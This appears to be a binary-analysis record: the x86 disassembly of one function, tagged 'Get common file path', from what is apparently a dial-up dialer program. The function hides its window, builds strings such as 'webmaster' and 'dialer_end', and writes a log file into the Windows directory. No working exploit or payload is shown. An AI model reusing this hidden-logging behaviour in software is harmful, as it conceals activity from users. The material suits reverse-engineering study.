Function at 0x402f40
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x42c
push ebx
push esi
push edi
mov esi, ecx
push 0x40c794
push 0x409c8c
mov dword [ebp - 8], esi
call fcn.004059a0
pop ecx
test eax, eax
pop ecx
jne 0x402f9f
xor ebx, ebx
push 3
mov edi, dword [sym.imp.USER32.dll_SetWindowPos]
push ebx
push ebx
push ebx
push ebx
push 0xfffffffffffffffe
push dword [esi + 4]
call edi
push ebx
push 0x40bd94
push 0x40a294
push ebx
call dword [sym.imp.USER32.dll_MessageBoxA]
push 3
push ebx
push ebx
push ebx
push ebx
push 0xffffffffffffffff
push dword [esi + 4]
call edi
jmp 0x4032d5
xor ebx, ebx
push ebx
push dword [esi + 4]
call dword [sym.imp.USER32.dll_ShowWindow]
mov esi, 0x409488
push 0x40bf94
push esi
call fcn.00405820
push str._site
push esi
call fcn.00405830
push 0x40c094
push esi
call fcn.00405830
push 0x408d80
push esi
call fcn.00405830
push 0x409248
push esi
call fcn.00405830
push str.webmaster
push esi
call fcn.00405830
push 0x40988c
push esi
call fcn.00405830
push str.country
push esi
call fcn.00405830
add esp, 0x40
push 0x409e8c
push esi
call fcn.00405830
pop ecx
xor eax, eax
pop ecx
lea edi, [ebp - 0x12b]
push 0x3f
mov byte [ebp - 0x12c], bl
pop ecx
mov byte [0x409244], 1
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryA]
mov dword [ebp - 4], ebx
mov dword [ebp - 0xc], ebx
mov esi, 0x408d64
mov ecx, dword [ebp - 8]
call fcn.00404844
lea eax, [ebp - 0x12c]
push 0x40c094
push eax
call fcn.00405820
lea eax, [ebp - 0x12c]
push esi
push eax
call fcn.00405830
lea eax, [ebp - 0x32c]
push eax
call fcn.00405dc9
push eax
lea eax, [ebp - 0x12c]
push eax
call fcn.00405830
lea eax, [ebp - 0x12c]
push 0x408d60
push eax
call fcn.00405830
lea eax, [ebp - 0x32c]
push eax
call fcn.00405d50
push eax
lea eax, [ebp - 0x12c]
push eax
call fcn.00405830
lea eax, [ebp - 0x12c]
push esi
push eax
call fcn.00405830
lea eax, [ebp - 0x12c]
push 0x409a8c
push eax
call fcn.00405830
add esp, 0x40
lea eax, [ebp - 0x12c]
push esi
push eax
call fcn.00405830
lea eax, [ebp - 0x12c]
push 0x409388
push eax
call fcn.00405830
lea eax, [ebp - 0x12c]
push 0x408d5c
push eax
call fcn.00405830
add esp, 0x18
lea eax, [ebp - 0x32c]
push 0x100
push eax
call edi
lea eax, [ebp - 0x32c]
push str.u_rc
push eax
call fcn.00405830
lea eax, [ebp - 0x32c]
push str.coder.log
push eax
call fcn.00405830
lea eax, [ebp - 0x12c]
push eax
lea eax, [ebp - 0x32c]
push eax
call fcn.00404a56
add esp, 0x18
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x2c], 0x407228
call dword [sym.imp.USER32.dll_GetActiveWindow]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x24]
push eax
push 0x409188
call fcn.00404fa6
push ebx
push 0x404fe0
push dword [ebp - 0x10]
push 0xdc
push dword [0x409190]
call dword [sym.imp.USER32.dll_DialogBoxParamA]
cmp byte [0x409688], bl
je 0x4031a8
push 0x24
push 0x40bd94
push 0x40c594
push ebx
call dword [sym.imp.USER32.dll_MessageBoxA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 6
jne 0x4031bd
mov eax, dword [ebp - 0xc]
inc dword [ebp - 0xc]
cmp eax, 5
jle 0x403046
cmp dword [ebp - 4], 7
mov byte [0x409244], bl
jne 0x4032c7
lea eax, [ebp - 0x22c]
push 0x40c094
push eax
call fcn.00405820
lea eax, [ebp - 0x22c]
push esi
push eax
call fcn.00405830
lea eax, [ebp - 0x42c]
push eax
call fcn.00405dc9
push eax
lea eax, [ebp - 0x22c]
push eax
call fcn.00405830
lea eax, [ebp - 0x22c]
push 0x408d60
push eax
call fcn.00405830
lea eax, [ebp - 0x42c]
push eax
call fcn.00405d50
push eax
lea eax, [ebp - 0x22c]
push eax
call fcn.00405830
lea eax, [ebp - 0x22c]
push esi
push eax
call fcn.00405830
lea eax, [ebp - 0x22c]
push str.dialer_end
push eax
call fcn.00405830
add esp, 0x40
lea eax, [ebp - 0x22c]
push 0x408d5c
push eax
call fcn.00405830
pop ecx
lea eax, [ebp - 0x42c]
pop ecx
push 0x100
push eax
call edi
lea eax, [ebp - 0x42c]
push str.u_rc
push eax
call fcn.00405830
lea eax, [ebp - 0x42c]
push str.coder.log
push eax
call fcn.00405830
lea eax, [ebp - 0x22c]
push eax
lea eax, [ebp - 0x42c]
push eax
call fcn.00404a56
mov esi, dword [ebp - 8]
add esp, 0x18
push ebx
push dword [esi + 4]
call dword [sym.imp.USER32.dll_ShowWindow]
push dword [esi + 4]
call dword [sym.imp.USER32.dll_DestroyWindow]
push ebx
call dword [sym.imp.USER32.dll_PostQuitMessage]
jmp 0x4032d5
mov eax, dword [ebp - 8]
push 5
push dword [eax + 4]
call dword [sym.imp.USER32.dll_ShowWindow]
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret 0x10